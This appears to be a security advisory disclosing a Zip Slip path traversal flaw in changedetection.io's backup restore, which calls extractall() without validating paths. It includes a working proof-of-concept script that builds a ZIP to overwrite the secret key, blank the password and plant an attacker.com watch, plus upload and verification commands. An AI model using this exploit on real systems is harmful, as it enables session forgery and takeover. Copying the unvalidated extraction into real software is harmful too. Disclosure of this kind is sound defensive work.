changedetection.io has Zip Slip vulnerability in the backup restore functionality

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

| Path in ZIP | Target File | Impact | | --- | --- | --- | | ../secret.txt | Flask secret key | Session forgery, auth bypass | | ../changedetection.json | App settings | Disable password, inject backdoor | | ../url-watches.json | Watch index | Inject malicious watches | | ../{uuid}/watch.json | Watch config | Modify any watch |

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "[email protected]" \
  -F "include_watches=y" \
  -F "include_settings=y" 

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"